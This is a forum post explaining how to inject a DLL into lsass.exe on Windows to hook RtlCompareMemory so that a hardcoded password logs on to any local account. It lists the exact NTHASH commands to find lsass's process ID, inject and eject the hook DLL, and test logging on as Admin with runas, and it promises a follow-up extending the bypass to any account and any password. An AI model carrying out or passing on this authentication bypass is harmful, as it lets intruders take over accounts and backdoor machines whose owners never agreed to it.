Jump to content











Photo

Hook RtlCompareMemory and logon any account with a unique password


  • Please log in to reply
No replies to this topic

#1 erwan.l

erwan.l

    Platinum Member

  • Developer
  • 3042 posts
  • Location:Nantes - France
  •  
    France

Posted 17 August 2020 - 09:33 PM

For fun and (no) profit : lets hook rtlcomparememory in lsass.exe. Indeed, at some point, windows will need to compare a (md4) hash of your provided password with the hash of the password in the local sam database.

Definition of rtlcomparememory is here .

So lets hook rtlcomparememory, and if 'password' (or rather the md4 hash) is provided, then lets return "true".

Let's see how to achieve this with NTHASH:

  • Lets retrieve the pid of lsass : nthash-win64 /enumproc | findstr lsass
  • NTHASH-win64.exe /inject /pid:808 /binary:c:\temp\hook-win64.dll
  • optionally, check that our dll as been injected : NTHASH-win64.exe /enummod /pid:808 | findstr hook .
  • test runas /user:Admin cmd (provide 'password' as password when prompted) : you win!
  • NTHASH-win64.exe /eject /pid:808 /binary:hook-win64.dll
  • optionally, check that our dll as been ejected : NTHASH-win64.exe /enummod /pid:808 | findstr hook .

Sourcecode and binary can be found here :

That method has some cons thus :
-you cannot log on with any password but only with a harcoded password ('password')
-only local accounts will work

Lets see in a next post how to remove these limitations : any account (local or remote), any password ...






1 user(s) are reading this topic

0 members, 1 guests, 0 anonymous users